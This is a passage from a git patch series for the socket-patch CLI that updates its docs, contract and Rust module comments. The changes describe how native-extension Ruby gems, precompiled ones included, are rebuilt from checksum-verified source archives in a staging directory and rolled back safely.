`Cargo.lock` or `build.rs`, anything +under `ext/`, and any file under the directory of a build script the gemspec's `extensions` names +(a script at the gem root: the files beside it) (#1996). One exception: a grammar file (`.y`, +`.rl`) under a require path of a precompiled gem is not an input, since the gem packs its +generated output. In a gem that is not native (no extensions, the `ruby` platform) only a C-family +source under `ext/` is an input, never a grammar file; such a record is refused, because nothing +there compiles it. + +**The source gem.** The extension is rebuilt from the gem's source archive, because an installed +copy does not hold everything its extension was built from: a build deletes what it is done with +(nokogiri's `ports/`), and a precompiled gem never shipped the build's inputs. The archive is the +copy's own for a gem RubyGems built, and the ruby-platform `-.gem` for a precompiled +one. It is taken from the gem home's `cache/`, where RubyGems and Bundler keep it, with no network +(unless `Gemfile.lock` pins another `CHECKSUMS` sha256 for it). Otherwise, and not under +`--offline`, it is downloaded from the gem's source: the `remote:` of the lock's `GEM` section +that lists the gem, else `https://rubygems.org` (`SOCKET_RUBYGEMS_URL`), as `/gems/`. +The download must have the sha256 the lock's `CHECKSUMS` pins for that gem, else the one the +source's compact index (`/info/`) records; an archive nothing pins is not used. + +**The rebuild.** The archive is unpacked into a stage inside the gem home +(`/.socket-patch-build/-[-]/`), by RubyGems, and must be that gem and +declare extensions. The record's files are laid over the staged gem, and every `beforeHash` must +hold there, whatever the mismatch policy of the run: an archive that is not the gem the patch was +written for stops the run with nothing written to the installed copy. RubyGems then builds the +staged gem's extension in the stage, with the build arguments it recorded for the installed copy +(`build_info/`). A gem the staged gem depends on at runtime that is not on the build's `GEM_PATH` +(the stage home, the copy's home, the caller's `GEM_PATH`, RubyGems' defaults) is staged too: the +newest ruby-platform release the requirement allows that runs on the building Ruby, downloaded +from the same source and verified against its compact index, and installed into the stage home. A +precompiled nokogiri has no `mini_portile2`, which its build needs. Nothing is ever installed into +the user's gem home, and the stage is removed when the run ends. Until the build has finished, +nothing of the installed copy is touched. + +**Into the installed copy.** The record's files are written into the copy, and the build takes the +place of the compiled code: + +- *A gem RubyGems built*: the staged extension directory replaces the installed one, and its + artifacts replace their copies under the gem's `lib/`. The Ruby must build into the gem's + installed `extensions///` dir; a gem without one (installed by a RubyGems older + than 2.2) is refused. +- *A precompiled gem*: each extension the build produced replaces the prebuilt binary the owning + Ruby loads. Prebuilt binaries follow the rake-compiler layout, + `///` (`lib/nokogiri/3.4/nokogiri.bundle`, + `lib/sqlite3/3.3/sqlite3_native.so`), for the building Ruby's `major.minor`. When that path is + not there, the one file of that name under the require path is taken. No such file, or more than + one, is refused with nothing written. The binaries the gem ships for other Rubies are left as + they are. The owning Ruby is the one that runs the gem's platform and builds its extensions where + the gem home has its other gems' (`extensions///`); in a home with none, the one + whose ABI the home's directory name carries (`…/ruby/3.4.0`). + +A build input the installed copy does not hold (a precompiled gem never shipped `patches/**`; a +build removed `ports/**`) is written into the copy even when the record replaces existing content: +that content was checked in the source gem. `rollback` removes such a file again. + +**Without the source gem.** A gem RubyGems built is rebuilt in place, from its own tree: the +patched sources are written, the current build is moved aside, and RubyGems builds into a fresh +extension directory; a failed build puts the old build and the original sources back. This cannot +work for a gem whose build removed its inputs, and a record that changes a removed input is +refused instead. A precompiled gem has no such fallback: it is refused with +`native_extensions_unsupported`, and the message says what is needed (one run with network access +to the gem's source, or the source gem in the home's `cache/`). The JRuby build of a gem (the +`java` platform) ships jars compiled from Java sources, which no source gem's build produces: a +record that changes its build inputs is always refused. What runs, and when: whether a record needs a rebuild is decided from files alone. The installed -gemspec is read as text for its `extensions` and `require_paths`, never evaluated, so -`apply --dry-run`, `apply --check` and `vex` start no Ruby. A dry run reports the pending rebuild -as a `native_extension_rebuilt` warning ("apply would …") and refuses only what it can see without -one (no extension directory, no `ruby` to run). A real run starts Ruby only once every file of the +gemspec is read as text for its `extensions`, `platform` and `require_paths`, never evaluated, so +`apply --dry-run`, `apply --check` and `vex` start no Ruby and download nothing. A dry run reports +the pending rebuild as a `native_extension_rebuilt` warning ("apply would …") and refuses only what +it can see without one (no extension directory, no `ruby` to run, a JRuby gem, a source gem that is +needed, not cached, and out of reach offline). A real run starts Ruby only once every file of the record verified against the installed copy (it holds the record's `beforeHash` or `afterHash` content, or a mismatch the run was told to overwrite): first the host Ruby alone, asked where it -builds extensions for that gem home, which loads RubyGems and nothing of the gem; then, with the -patched sources written, RubyGems' builder, which loads the installed gemspec and runs the gem's -build scripts. A Ruby inside the project is never run, and both run without the Socket +builds extensions for that gem home and what it is, which loads RubyGems and nothing of the gem; +then RubyGems, to unpack the source gem and name the gems its build lacks, which runs none of the +archive's code; then, with the record laid over the staged gem, RubyGems' builder, which runs the +archive's build scripts as `gem install` did. The installed gemspec is evaluated only by the +in-place fallback. A Ruby inside the project is never run, and every run goes without the Socket credentials (see [Environment variables](#environment-variables)), `RUBYOPT`, `RUBYLIB` and `BUNDLE*`. -The first rebuild of a copy backs up the install-time build (extension directory and `lib/` -copies) to `.socket-patch-native-orig/` in the gem directory, and every rebuild records -`.socket-patch-native-build.json` there: the source hashes it was built from and the hash of every -artifact it produced. A record whose sources are patched and whose marker matches is -`already_patched`; sources an earlier release patched without a rebuild are rebuilt, with a +The first rebuild of a copy backs up the original compiled code to `.socket-patch-native-orig/` in +the gem directory (the install-time extension directory and `lib/` copies; a precompiled gem's +prebuilt binaries), and every rebuild records `.socket-patch-native-build.json` there: the source +hashes it was built from and the hash of every artifact it put in place (`"grafted": true` for a +precompiled gem's replaced binaries). A record whose sources are patched and whose marker matches +is `already_patched`; sources an earlier release patched without a rebuild are rebuilt, with a `native_extension_rebuilt` warning. `rollback` (and `remove`) puts the backed-up build back with -the sources; without a backup it rebuilds from the restored sources. Only the gem's own -extension dir under its home is ever replaced, whatever path the backup or marker names. - -While a rebuild runs, the previous build is parked beside the extension directory as -`.-.socket-patch-old`. The build runs in a process group of its own: an interrupted -`apply` (Ctrl-C, SIGTERM, SIGHUP) kills that group and waits for it before it releases the lock, -so no compiler is left writing into the gem. A run that is interrupted or killed mid-build leaves -the patched sources written and the previous build parked. The next `apply`, `rollback` or -`remove` of that gem puts the copy back together before anything else: the parked build is moved -back and the `lib/` copies of its artifacts are brought back in line with it, unless the extension -directory already holds a finished build (`gem.build_complete`), which then stands. `apply` then -rebuilds, and `rollback` restores the original sources and build. A parked build that a rebuild -still running in another process holds (two projects sharing one gem home) is left alone, and the -purl is refused with `native_extensions_unsupported` until that run has finished. +the sources, bytes and file mode; without a backup it rebuilds a gem RubyGems built from the +restored sources, and fails a precompiled gem with `native_extension_restore_failed` (`gem +pristine ` reinstalls it). Only the gem's own extension dir under its home, and files under +the gem directory, are ever replaced, whatever path the backup or marker names. + +A build runs in a process group of its own: an interrupted `apply` (Ctrl-C, SIGTERM, SIGHUP) kills +that group and waits for it before it releases the lock, so no compiler is left running. A build +in the stage leaves the installed copy untouched, so a run that is interrupted or killed during it +leaves only the stage directory in the gem home, which the next `apply`, `rollback` or `remove` of +that gem removes. While a finished build moves in, and for the whole of an in-place build, the +previous build is parked beside the extension directory as `.-.socket-patch-old`; a +run that dies then leaves the patched sources written and the previous build parked, and the next +`apply`, `rollback` or `remove` of that gem puts the copy back together before anything else: the +parked build is moved back and the `lib/` copies of its artifacts are brought back in line with +it, unless the extension directory already holds a finished build (`gem.build_complete`), which +then stands. `apply` then rebuilds, and `rollback` restores the original sources and build. A +stage or a parked build that a rebuild still running in another process holds (two projects +sharing one gem home) is left alone, and the purl is refused with `native_extensions_unsupported` +until that run has finished. (Hosted mode's stale-install refresh honors the same flag: with it, a native-extension gem is left as it is, with its `redirect_gem_stale_install` warning; see the "Gem stale-install guard" section.) `--no-gem-native-rebuild` (env `SOCKET_NO_GEM_NATIVE_REBUILD`) is for a caller that compiles the extension itself (the patches evaluation harness): the patched sources are written as before #1996, -with no Ruby run and no backup or marker, and the run succeeds with a `native_extension_not_rebuilt` -warning. `vex` and `apply --check` then omit the patch until a rebuild by `apply` records it. +with no Ruby run, no download and no backup or marker, and the run succeeds with a +`native_extension_not_rebuilt` warning. `vex` and `apply --check` then omit the patch until a +rebuild by `apply` records it. It covers every build input above, on a precompiled gem too (where +a file the copy does not hold is not written: the record fails on it as on any missing file). | Code | Run result | Meaning | |---|---|---| -| `native_extensions_unsupported` | refused, exit 1 | The record changes build inputs that cannot be rebuilt in place: the copy is not a RubyGems install with a `specifications/` entry (a Bundler git checkout), the gem declares no extensions (a precompiled platform gem), or no Ruby whose extension directory for the gem is the installed one was found. Nothing is written; use `scan --mode hosted`, where RubyGems compiles the patched gem. Also: another run is rebuilding the same gem right now, or an interrupted rebuild could not be undone (the error says which). | -| `native_extension_build_failed` | refused, exit 1 | The extension did not build from the patched sources (no compiler or Ruby headers, a build error). The previous build and the original sources are put back; the error carries the build output's tail. | -| `native_extension_rebuilt` | warning | The sources were already patched (by a release before #1996) and the extension was rebuilt from them. Under `--dry-run`: the rebuild a real `apply` would run; no Ruby is started to check that it can. | +| `native_extensions_unsupported` | refused, exit 1 | The record changes build inputs that cannot be rebuilt here: the copy is not a RubyGems install with a `specifications/` entry (a Bundler git checkout); the gem neither declares extensions nor is a platform gem; it is the JRuby (`java`) build; no Ruby that owns the install was found; a precompiled gem's source gem is neither in the home's `cache/` nor downloadable (offline, not served, not pinned by a checksum); the record does not apply to the source gem; a gem the build needs is not installed and could not be staged; the build has no counterpart among the gem's prebuilt binaries. Nothing is written. Also: another run is rebuilding the same gem right now, or an interrupted rebuild could not be undone (the error says which). | +| `native_extension_build_failed` | refused, exit 1 | The extension did not build from the patched sources (no compiler or Ruby headers, a build error), or the finished build could not be moved into place. The installed copy is as it was before the run; the error carries the build output's tail. | +| `native_extension_rebuilt` | warning | The sources were already patched (by a release before #1996, or with `--no-gem-native-rebuild`) and the extension was rebuilt from them. Under `--dry-run`: the rebuild a real `apply` would run; no Ruby is started and nothing is downloaded to check that it can. | | `native_extension_not_rebuilt` | warning | `--no-gem-native-rebuild`: the sources were written without a rebuild; Ruby loads the old build until the caller compiles it. | -| `native_extension_restore_failed` | rollback: that copy fails | The sources were restored, but the original compiled extension could not be put back. Run `gem pristine --extensions`. | +| `native_extension_restore_failed` | rollback: that copy fails | The sources were restored, but the original compiled extension could not be put back. Run `gem pristine --extensions` (a precompiled gem: `gem pristine `). | `vex` and `apply --check` attest such a copy only while its marker matches the record's patched -sources and every artifact it lists; otherwise the purl fails with `native_extension_not_rebuilt`. +sources and every artifact it lists, a precompiled gem's replaced binary included; otherwise the +purl fails with `native_extension_not_rebuilt`. After `gem pristine`, a reinstall, or a switch to +another Ruby minor (which loads another of a precompiled gem's binaries), run `apply` again. Hosted copies are judged on their files alone, since RubyGems compiled them from the patched gem. ### sbt / Mill / scala-cli caches in agent mode @@ -1815,7 +1895,7 @@ Env-only knobs used for hosted upstream restoration and JVM metadata verificatio | `SOCKET_CRATES_INDEX` | `https://index.crates.io` | v5.0 upstream restore: the crates.io sparse index whose `checksum` a restored `Cargo.lock` entry gets back. | | `SOCKET_GOSUMDB_URL` | `https://sum.golang.org` | v5.0 upstream restore: the checksum database the restored go.sum lines are checked against. Without it, `GOSUMDB=off` or a module matching `GONOSUMDB` (default `GOPRIVATE`) skips the database and the hashes come from the module proxy's bytes alone (`SOCKET_GOPROXY` above). | | `SOCKET_PYPI_JSON_API` | `https://pypi.org/pypi` | PyPI's JSON API (`///json`): the release files whose sha256 the upstream restore writes back into every Python lock format. | -| `SOCKET_RUBYGEMS_URL` | `https://rubygems.org` | v5.0 upstream restore: the compact index (`/info/`) a restored `CHECKSUMS` entry is re-pinned from. | +| `SOCKET_RUBYGEMS_URL` | `https://rubygems.org` | v5.0 upstream restore: the compact index (`/info/`) a restored `CHECKSUMS` entry is re-pinned from. Agent mode: where the source gem of a native-extension gem (`/gems/`), and a gem its build lacks, are downloaded and their checksums read (`/info/`) when the lock names rubygems.org or no source for them. | | `SOCKET_PACKAGIST_URL` | `https://repo.packagist.org` | v5.0 upstream restore: packagist's composer v2 metadata (`/p2//.json`) a restored `composer.lock` `dist` / `source` comes from. | | `SOCKET_NUGET_URL` | `https://api.nuget.org` | v5.0 upstream restore: the nuget.org API host whose catalog `packageHash` a restored `packages.lock.json` `contentHash` comes from. | diff --git a/crates/socket-patch-cli/src/commands/rollback.rs b/crates/socket-patch-cli/src/commands/rollback.rs index f06ecde0b..16f16057b 100644 --- a/crates/socket-patch-cli/src/commands/rollback.rs +++ b/crates/socket-patch-cli/src/commands/rollback.rs @@ -3624,8 +3624,9 @@ pub(crate) async fn rollback_patches_inner( None => { use socket_patch_core::patch::gem_ext; let is_gem = Ecosystem::from_purl(purl) == Some(Ecosystem::Gem); - // A build input `apply` added to a precompiled gem copy - // that never shipped it is removed, not restored. + // A build input `apply` added to a gem copy that did not + // hold it (a precompiled gem never shipped it; a build + // removed it) is removed, not restored. let gem_files = if is_gem { Some(gem_ext::rollback_files(pkg_path, &patch.files).await) } else { diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index 5b72d6bd1..884737d5c 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -1,35 +1,85 @@ //! Agent-mode patches to a gem's native extension (#1996). //! -//! Ruby loads the shared object RubyGems compiled when it installed the gem +//! Ruby loads compiled code, never the sources beside it: the shared object +//! RubyGems compiled when it installed the gem //! (`extensions///-/…` and, with -//! `Gem.install_extension_in_lib`, its copy under the gem's `lib/`), never -//! the `ext/**/*.c` sources beside it. A patch that rewrites only those +//! `Gem.install_extension_in_lib`, its copy under the gem's `lib/`), or, +//! for a precompiled platform gem (`nokogiri-1.18.3-arm64-darwin`), the +//! binary the gem ships for the running Ruby +//! (`lib/nokogiri/3.4/nokogiri.bundle`). A patch that rewrites only the //! sources in place leaves the vulnerable compiled code running. So when a //! gem patch changes a native-extension build input, `apply` rebuilds the -//! extension from the patched sources with RubyGems' own builder, the step -//! `gem pristine --extensions` runs (`extconf.rb` + `make`, a Rakefile, a -//! CMake or Cargo build), against the Ruby that owns the install: +//! extension with RubyGems' own builder, the step `gem install` runs +//! (`extconf.rb` + `make`, a Rakefile, a CMake or Cargo build), with the +//! Ruby that owns the install, and puts the build where Ruby loads it. //! -//! 1. Preflight: the copy must be a RubyGems install (a `specifications/` -//! entry beside `gems/`) that declares extensions, with an extension dir -//! on disk and a Ruby to try. Otherwise the purl is refused with -//! [`UNSUPPORTED_CODE`] and nothing is written. -//! 2. The record's files are verified against the copy, and a Ruby whose -//! extension dir for the gem is the one on disk is found (or the purl is -//! refused as in 1). -//! 3. The patched sources are written ([`apply_package_patch`]). -//! 4. The current build is moved aside (and, the first time, copied to a -//! backup of the original build inside the gem dir, [`BACKUP_DIR`]), and -//! RubyGems builds the extension into a fresh extension dir. -//! 5. A failed build puts the old build and the original sources back and -//! fails the purl with [`BUILD_FAILED_CODE`]. A successful one records a -//! marker ([`MARKER_FILE`]) naming the source hashes it was built from -//! and the hash of every artifact it produced. +//! # What is a build input //! -//! `vex` and `apply --check` attest such a copy only when that marker -//! matches the record's patched sources and every recorded artifact still -//! hashes as built ([`verify_native_build`]). `rollback` puts the backed-up -//! original build back ([`restore_original_build`]). +//! A gem is native when its installed gemspec declares extensions, or its +//! platform is not `ruby` (a precompiled gem). In a native gem every +//! patched file is a build input unless it clearly is not one (`classify`): +//! `extconf.rb` builds from whatever the gem packs. nokogiri's builds its +//! vendored libxml2 from `patches/libxml2/*.patch`, `ports/**` and +//! `dependencies.yml`, so a record whose only file is an added +//! `patches/libxml2/.patch` changes the compiled library. A gem that is +//! not native has no build inputs but a C source under `ext/`. +//! +//! # What it is built from +//! +//! The source gem, `-.gem`, when it can be had +//! ([`crate::patch::gem_source`]): from the gem home's `cache/`, where +//! RubyGems and Bundler keep it, else downloaded from the gem's source and +//! verified against the sha256 the lock or that source's index pins. An +//! installed copy does not hold everything its extension was built from: a +//! build deletes what it is done with (nokogiri's `ports/`), and a +//! precompiled gem never shipped the build's inputs. The rebuild: +//! +//! 1. Preflight, from files alone: the copy must be a RubyGems install (a +//! `specifications/` entry beside `gems/`) of a native gem, with a Ruby +//! to try; a gem RubyGems built must have its extension dir on disk; a +//! precompiled one must have a way to its source gem (the cached +//! archive, or a run that is not offline). Otherwise the purl is refused +//! with [`UNSUPPORTED_CODE`] and nothing is written. So is the JRuby +//! build of a gem, whose jars no source gem's build scripts produce. +//! 2. The record's files are verified against the copy, and the Ruby that +//! owns the install is found (or the purl is refused as in 1). +//! 3. The source gem is unpacked into a stage inside the gem home +//! (`/.socket-patch-build/`), and the record is laid over it +//! with [`apply_package_patch`]: every `beforeHash` must hold in the +//! pristine gem, or the archive is not the gem the patch was written for +//! and the run stops. +//! 4. RubyGems builds the staged gem's extension in the stage, with the +//! build arguments it recorded for the installed copy. A gem the build +//! needs and the install lacks (a precompiled nokogiri has no +//! `mini_portile2`) is installed into the stage home, never into the +//! user's. Until the build has finished, nothing of the installed copy +//! is touched: a failed build fails the purl with [`BUILD_FAILED_CODE`] +//! and leaves the copy as it was. +//! 5. The record's files are written into the installed copy, and the +//! build takes the place of the compiled code Ruby loads. For a gem +//! RubyGems built, the staged extension dir replaces the installed one +//! (parked while it moves in) and its artifacts replace the `lib/` +//! copies. For a precompiled gem, each prebuilt binary the owning Ruby +//! loads is replaced by the build's (`plan_graft`): no counterpart, or +//! more than one, is refused with nothing written. The first time, the +//! original build (the prebuilt binaries) is copied to a backup inside +//! the gem dir ([`BACKUP_DIR`]). +//! 6. A marker ([`MARKER_FILE`]) records the source hashes the build was +//! made from and the hash of every artifact put in place. +//! +//! When the source gem cannot be had, a gem RubyGems built is rebuilt in +//! place, from its own tree (`rebuild`): the patched sources are written, +//! the current build is moved aside, and RubyGems builds into a fresh +//! extension dir; a failed build puts the old build and the original +//! sources back. A precompiled gem has no such fallback and is refused, +//! with what it needs: network access to the gem's source once, or the +//! source gem in the home's `cache/`. +//! +//! `vex` and `apply --check` attest a copy only when its marker matches the +//! record's patched sources and every recorded artifact still hashes as +//! built ([`verify_native_build`]), whichever way it was built. `rollback` +//! puts the backed-up original build back ([`restore_original_build`]), +//! prebuilt binaries byte for byte. //! //! # What is executed, and when //! @@ -37,32 +87,49 @@ //! `vendor/bundle`), and its installed gemspec is a Ruby program. So //! whether a record needs a rebuild is decided without running anything: //! the gemspec is read as text (it is `Gem::Specification#to_ruby` output) -//! for its `extensions` (`parse_extensions`) and its require path -//! (`parse_require_path`), never evaluated. `--dry-run`, `apply --check` -//! and `vex` stop there. They start no Ruby. +//! for its `extensions`, its platform and its require paths (`SpecFacts`), +//! never evaluated. `--dry-run`, `apply --check` and `vex` stop there. They +//! start no Ruby and download nothing. //! //! A real run starts a program only after the record's files verified //! against the installed copy (each holds its `beforeHash` or `afterHash` -//! content, or a mismatch the caller's policy overwrites), and then, in -//! this order: +//! content, or a mismatch the caller's policy overwrites; a build input +//! the copy does not hold is checked in step 3 instead), and then, in this +//! order: //! //! 1. The host Ruby alone, asked where it builds extensions for the copy's -//! gem home (`RubyRun::ExtensionsDir`). That loads RubyGems and nothing -//! of the gem. -//! 2. With the patched sources written, RubyGems' extension builder -//! (`RubyRun::Build`). It loads the installed gemspec and runs the -//! gem's own build scripts (`extconf.rb`, a Rakefile, `make`, the -//! compiler), as `gem install` ran them. It refuses to build when the -//! loaded gemspec does not describe the layout its text was read for. +//! gem home and what it is (`RubyRun::ExtensionsDir`). That loads +//! RubyGems and nothing of the gem. +//! 2. RubyGems, unpacking the source gem into the stage +//! (`RubyRun::Unpack`) and naming the gems its build depends on that are +//! not installed (`RubyRun::MissingDeps`). The archive's metadata is +//! read as data; none of its code runs. A missing gem is downloaded, +//! verified against its source's index and installed into the stage +//! home (`RubyRun::Install`), which runs that gem's build scripts if it +//! has any. +//! 3. With the record laid over the staged gem, RubyGems' extension builder +//! (`RubyRun::StageBuild`). It runs the archive's own build scripts +//! (`extconf.rb`, a Rakefile, `make`, the compiler), as `gem install` +//! ran them, and loads the gemspec `unpack` wrote from the archive. The +//! installed gemspec is not evaluated at all. +//! +//! The in-place fallback runs RubyGems' builder on the installed copy +//! instead (`RubyRun::Build`), with the patched sources written: it loads +//! the installed gemspec and runs the copy's own build scripts, and +//! refuses to build when the loaded gemspec does not describe the layout +//! its text was read for. //! //! The Ruby is the one installed beside the gem home, else the `ruby` on -//! `PATH`; one inside the project is never run (`ruby_candidates`). Both -//! runs go without the Socket credentials -//! ([`CHILD_ENV_SCRUB`](crate::utils::process::CHILD_ENV_SCRUB)), +//! `PATH`; one inside the project is never run (`ruby_candidates`). For a +//! gem RubyGems built it is the Ruby whose extension dir for the gem is the +//! installed one (`find_ruby`); for a precompiled gem, the Ruby that runs +//! the gem's platform and builds its extensions where the home has its +//! other gems' (`find_platform_ruby`). Every run goes without the Socket +//! credentials ([`CHILD_ENV_SCRUB`](crate::utils::process::CHILD_ENV_SCRUB)), //! `RUBYOPT`, `RUBYLIB` and `BUNDLE*`. //! //! The hosted stale-install refresh ([`crate::patch::gem_refresh`]) builds -//! a native gem a third way (`install_staged`, `RubyRun::Install`): the +//! a native gem another way (`install_staged`, `RubyRun::Install`): the //! same Ruby, found by the same probe, installs a `.gem` archive whose //! sha256 the lock pins into an empty stage home. RubyGems reads the spec //! from the archive's own metadata and runs the archive's build scripts, @@ -76,17 +143,25 @@ //! middle of it. The build leads its own process group; the CLI's interrupt //! handler ends that group before it releases the apply lock //! ([`kill_builds_on_interrupt`](crate::utils::process::kill_builds_on_interrupt)), -//! so no compiler is left writing into the gem. What the run leaves on -//! disk is enough to put the copy right: while a build runs the previous -//! build is parked beside the extension dir (`parked_build_path`), under -//! an advisory lock that goes when its process does, and the previous -//! marker stays in the gem dir until a finished build's replaces it. The -//! next `apply` or `rollback` of the copy starts by moving the parked -//! build back (`recover_interrupted_rebuild`). The sources stay patched, -//! which is the state `apply` completes with a rebuild and `rollback` -//! undoes. A parked build that a rebuild still running in another process -//! holds (a gem home shared between projects) is left alone, and the purl -//! is refused. +//! so no compiler is left writing into the gem. +//! +//! A build in the stage leaves the installed copy untouched, so an +//! interrupted one leaves only the stage dir, under an advisory lock that +//! went with its process. The next `apply` or `rollback` of the copy drops +//! it (`sweep_stale_stage`). A stage a run in another process still holds +//! (a gem home shared between projects) is left alone, and the purl is +//! refused. +//! +//! While a finished build moves in, and for the whole of an in-place +//! build, the previous build is parked beside the extension dir +//! (`parked_build_path`), under the same kind of lock, and the previous +//! marker stays in the gem dir until the new build's replaces it. The next +//! `apply` or `rollback` of the copy starts by moving a parked build back +//! (`recover_interrupted_rebuild`), unless the extension dir holds a +//! finished build. The sources stay patched, which is the state `apply` +//! completes with a rebuild and `rollback` undoes. A graft that stops +//! between two binaries leaves the backup of the originals in the gem dir +//! and no marker: `apply` grafts again, and `rollback` restores them. use std::collections::{BTreeMap, HashMap}; use std::ffi::OsString; @@ -105,11 +180,11 @@ use crate::patch::file_hash::compute_file_git_sha256_sync; use crate::patch::gem_source::{GemId, GemSource, RubyVersions}; use crate::utils::fs::read_regular_to_bytes_sync; -/// The refusal when a native-extension patch cannot be rebuilt in place -/// (the vendored backend's code for the same limitation). +/// The refusal when a native-extension patch cannot be rebuilt here (the +/// vendored backend's code for the same limitation). pub const UNSUPPORTED_CODE: &str = "native_extensions_unsupported"; -/// The extension failed to build from the patched sources; the old build -/// and the original sources were put back. +/// The extension failed to build from the patched sources; the installed +/// copy is as it was before the run. pub const BUILD_FAILED_CODE: &str = "native_extension_build_failed"; /// Advisory: sources an earlier run patched were rebuilt into the extension /// (a release before #1996 patched them without a rebuild). diff --git a/docs/ecosystems.md b/docs/ecosystems.md index a2832425c..d4d298ce3 100644 --- a/docs/ecosystems.md +++ b/docs/ecosystems.md @@ -1987,42 +1987,64 @@ mode warns `redirect_gem_version_not_locked`, vendored mode reports a `skipped` ## Ruby gems: native extensions -Some gem fixes change only a C extension's sources (`ext/**/*.c`, `*.h`, `extconf.rb`). Ruby -never loads those sources: it loads the shared object RubyGems compiled when it installed the -gem. How each mode gets the patched code running: +Some gem fixes change only what a native extension is built from: its C sources +(`ext/**/*.c`, `*.h`, `extconf.rb`), or the files its build script reads (nokogiri builds its +vendored libxml2 from `patches/libxml2/*.patch`). Ruby never loads those files. It loads the +shared object RubyGems compiled when it installed the gem, or, for a precompiled platform gem +(`nokogiri-1.18.3-x86_64-linux-gnu`, the default install of nokogiri), the binary the gem ships. +How each mode gets the patched code running: | Mode | What happens | |---|---| | Hosted | Bundler installs the patched `.gem` from the patch registry, and RubyGems compiles it like any registry gem. A precompiled platform gem (`x86_64-linux`) is refused with `redirect_gem_platform_unsupported`. | | Vendored | Refused with `native_extensions_unsupported`: Bundler builds no extensions for path-sourced gems. | -| Agent (`apply`) | The patched sources are written, then the extension is rebuilt in place with RubyGems' builder, the step `gem pristine --extensions` runs, against the Ruby that owns the install. | +| Agent (`apply`) | The extension is rebuilt from the gem's source archive with the patch laid over it, using RubyGems' builder and the Ruby that owns the install, and the build is put where Ruby loads it: the extension directory of a gem RubyGems built, the prebuilt binary of a precompiled gem. | + +`apply` takes the source gem (`-.gem`) from the gem home's `cache/` directory, +where RubyGems and Bundler keep it for a gem they built. For a precompiled gem, or a pruned cache, +it downloads the archive from the gem's source (the lock's `remote:`, else rubygems.org) and +checks it against the lock's `CHECKSUMS` or the source's index. With `--offline` and no cached +archive, a gem RubyGems built is rebuilt from its installed tree instead, and a precompiled gem is +refused with `native_extensions_unsupported`: run `apply` once with network access, or put the +source gem in that `cache/` directory. The JRuby (`-java`) build of a gem ships jars and is always +refused for such a patch. + +The build happens in a stage directory inside the gem home (`.socket-patch-build/`), which is +removed afterwards. A gem the build needs that the install lacks (a precompiled nokogiri has no +`mini_portile2`) is installed into that stage, never into your gem home. The installed gem is not +touched until the build has finished. An agent-mode rebuild needs a compiler toolchain and the Ruby headers (`ruby-dev` / `ruby-devel` on Linux distributions, the Xcode command line tools on macOS), the same -requirements as `gem install` for that gem. When the build fails, `apply` puts the original -sources and build back and fails that package with `native_extension_build_failed`, showing the -tail of the build output. When it can't rebuild at all (a precompiled platform gem, a Bundler git -checkout, or no matching Ruby), nothing is written and the package fails with -`native_extensions_unsupported`. Use hosted mode for those. +requirements as `gem install` for the ruby-platform gem. It takes as long as that install: about +a minute for nokogiri. When the build fails, the installed gem is left as it was and the package +fails with `native_extension_build_failed`, showing the tail of the build output. When it can't +rebuild at all (a Bundler git checkout, no matching Ruby, no source gem for a precompiled gem), +nothing is written and the package fails with `native_extensions_unsupported`. The rebuild runs the gem's own build scripts (`extconf.rb`, `make`), as `gem install` did, and -only after the patch's files verified against the installed gem. Nothing of the gem is run -before that: `apply --dry-run` starts no Ruby and reports that a rebuild is pending. Ruby and the -build run without the Socket token in their environment. +only after the patch's files verified against the installed gem and against the source gem. +Nothing of the gem is run before that: `apply --dry-run` starts no Ruby, downloads nothing, and +reports that a rebuild is pending. Ruby and the build run without the Socket token in their +environment. A tool that compiles the extension itself after `apply` (as the patches evaluation harness does) passes `--no-gem-native-rebuild` (or `SOCKET_NO_GEM_NATIVE_REBUILD=1`): the sources are written without a rebuild, with a `native_extension_not_rebuilt` warning, and `vex` does not attest them. -`apply` keeps the install-time build in `.socket-patch-native-orig/` inside the gem directory, so -`rollback` restores it without recompiling, and records what it built in +`apply` keeps the original compiled code in `.socket-patch-native-orig/` inside the gem +directory (the install-time build, or a precompiled gem's prebuilt binary), so `rollback` +restores it byte for byte without recompiling, and records what it built in `.socket-patch-native-build.json`. `vex` attests the patch only while that record matches the -installed extension: after `gem pristine` or a reinstall, run `apply` again. - -Interrupting `apply` during a rebuild (Ctrl-C, a cancelled CI job) stops the build with it. The -gem is then left with its patched sources and no finished extension until Socket Patch runs -again: `apply` puts the previous build back and completes the rebuild, and `rollback` restores the -original sources and build. +installed binary: after `gem pristine`, a reinstall, or a switch to another Ruby minor version, +run `apply` again. + +Interrupting `apply` during a rebuild (Ctrl-C, a cancelled CI job) stops the build with it. A +build from the source gem had not touched the installed gem yet, so the gem is as it was; the +stage directory it leaves is removed by the next `apply` or `rollback`. A rebuild from the +installed tree leaves the gem with its patched sources and no finished extension until Socket +Patch runs again: `apply` puts the previous build back and completes the rebuild, and `rollback` +restores the original sources and build. ## Supported platforms From 421dcc749c8c4ae0ebbf22701ffbe510fb455194 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 13:35:02 -0500 Subject: [PATCH 05/13] Download a source gem from the default registry only, never from what the lock names The lock's remote: and CHECKSUMS no longer choose a URL or an expected hash (the lock_pinned_locations_never_drive_a_download invariant): the source gem and the gems its build lacks come from the gem home's cache, else from the default registry, verified against its compact index. The lock is read only to withhold the download for a gem it resolves from another source. A precompiled copy's Ruby is matched by the ABI of the home's extension dirs, and a build input a native copy does not hold no longer decides which release variant the copy matches. Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-cli/CLI_CONTRACT.md | 39 +- crates/socket-patch-cli/src/commands/apply.rs | 9 +- .../tests/e2e_gem_native_ext_build.rs | 39 +- crates/socket-patch-core/src/patch/apply.rs | 3 + crates/socket-patch-core/src/patch/gem_ext.rs | 377 +++++++++++---- .../socket-patch-core/src/patch/gem_source.rs | 446 ++++++++++-------- .../src/vendor/lock_inventory/tests.rs | 37 +- docs/ecosystems.md | 14 +- 8 files changed, 656 insertions(+), 308 deletions(-) diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index e1b644de6..f1bd0ace9 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -910,12 +910,16 @@ there compiles it. copy does not hold everything its extension was built from: a build deletes what it is done with (nokogiri's `ports/`), and a precompiled gem never shipped the build's inputs. The 